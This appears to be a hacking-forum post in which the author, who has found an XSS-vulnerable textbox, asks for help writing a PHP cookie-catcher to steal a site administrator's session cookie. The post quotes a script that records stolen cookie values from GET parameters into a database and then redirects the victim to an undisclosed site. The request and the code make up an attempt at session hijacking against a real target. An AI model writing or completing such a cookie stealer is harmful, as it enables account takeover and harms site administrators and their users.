Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Need help whit XSS

Alright, so im trying to get the admin cookie.
I found an vulnerable textbox to XSS.
I made a php script hosted on a website, but i dont realy know php well, and i need help, im trying to make it save the cookie in a simple txt files, but every script i found is putting the cookie into an sql db, which i never started to learn.

What would be the script to write?

Quote:<?php
//Conect to database
$con = mysql_connect(servername,username,password);
mysql_select_db("my_db", $con);
//Insert cookie values at database
mysql_query("INSERT INTO table_name (cookieuser,...)
VALUES ('".$_GET['cuser']."',....)");
//Go back where we were
echo '<script>document.location = "NOT GIVING YOU THIS WEBSITE"</script>';
?>



Possibly Related Threads...
Thread / Author Replies Views Last Post
by ~[DogiD]~Jul 2, 2023 09:34 AM 74 12,752 Jul 2, 2023 09:34 AM
Last Post: SIM-5382664
by webbOct 17, 2019 06:17 PM 73 3,659 Oct 17, 2019 06:17 PM
Last Post: sain321
by xSellizeJan 26, 2019 10:22 AM 61 7,377 Jan 26, 2019 10:22 AM
Last Post: ratsandmice